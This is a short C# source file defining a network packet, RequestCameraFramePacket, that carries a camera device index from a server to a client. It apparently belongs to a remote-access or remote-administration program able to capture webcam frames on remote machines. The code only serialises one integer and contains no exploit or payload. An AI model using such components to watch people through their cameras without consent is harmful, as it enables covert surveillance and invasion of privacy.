using System.IO;

namespace Crysome.Common.Network.Packets.Server;

public class RequestCameraFramePacket : IPacket
{
	public int DeviceIndex { get; set; }

	public RequestCameraFramePacket()
	{
	}

	public RequestCameraFramePacket(int deviceIndex)
	{
		DeviceIndex = deviceIndex;
	}

	public void Write(BinaryWriter w)
	{
		w.Write(DeviceIndex);
	}

	public void Read(BinaryReader r)
	{
		try
		{
			if (r.BaseStream.Length >= 4)
			{
				DeviceIndex = r.ReadInt32();
			}
		}
		catch
		{
			DeviceIndex = 0;
		}
	}
}
